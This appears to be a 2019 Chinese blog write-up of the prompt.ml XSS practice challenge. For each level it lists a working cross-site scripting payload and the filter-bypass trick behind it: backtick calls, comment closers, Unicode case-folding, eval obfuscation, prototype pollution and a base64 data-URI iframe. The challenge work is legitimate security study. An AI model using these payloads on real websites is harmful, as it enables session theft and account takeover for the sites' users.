Xss在线练习一

http://prompt.ml/0

注意:使用prompt(1)才会显示you win

Level 0

直接输出 "><script>confirm(1)</script>

Level 1

不能用反尖括号闭合 <img src=x onerror=confirm(1)//

Level 2

不能使用正小括号和等于号,那就用反引号

<script>alert`1`</script>

Level 3

这里利用了–!>也可以关闭注释标签 --!><svg onload=confirm(1)>

Level 4

限制了加载js的url,可以利用username:[email protected]的trick,这里的正斜杠要url编码一下 https://prompt.ml%[email protected]/test.js 由于浏览器的安全策略,chrome无法弹框,firefox可以

Level 5

浏览器默认解析第一个type属性,没有匹配回车换行,所以可以用:

"  type=image src=x onerror
=alert(1) 

Level 6

action可以直接执行javascript,但是这里过滤了,有个trick,form.action会优先匹配form中name=action的节点

javascript:prompt(1)#{"action":"matt"}

Level 7

这里可以利用js的注释

"><script>/*#*/prompt(1/*);#"*/);/*#*/</script>

Level 8

[U+2028]prompt(1)[U+2028]--> 没有复现,根据提示是行分隔符可以用[U+2028]替代

Level 9

toUppercase支持unicode字符,字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符”S”。

<ſcript/ſrc=//⒕₨></ſcript>

Level 10

p'rompt(1) 没有复现

Level 11

"(prompt(1))in" 没有复现

Level 12

prompt被替换,利用eval函数,以下都可以

eval((1558153217).toString(36))(1)
eval(630038579..toString(30))(1)
eval((630038579).toString(30))(1)
eval(0x258da033.toString(30))(1)
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41))) 

Level 13

{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去在Object.prototype的__proto__属性中找 已弃用的属性,仍存在于所有现代浏览器中。

Level 14

payload:

"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

base64解码如下:

<SCRIPT /
SRC	 =HTTPS:PMT1.ML>	</SCRIPT	<>

没有复现

Level 15

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

没有复现

参考链接:

https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-8 https://www.kingkk.com/2018/08/xss%E7%BB%83%E4%B9%A0%E8%AE%B0%E5%BD%95/ https://lorexxar.cn/2015/07/02/xss-p/

Written on May 4, 2019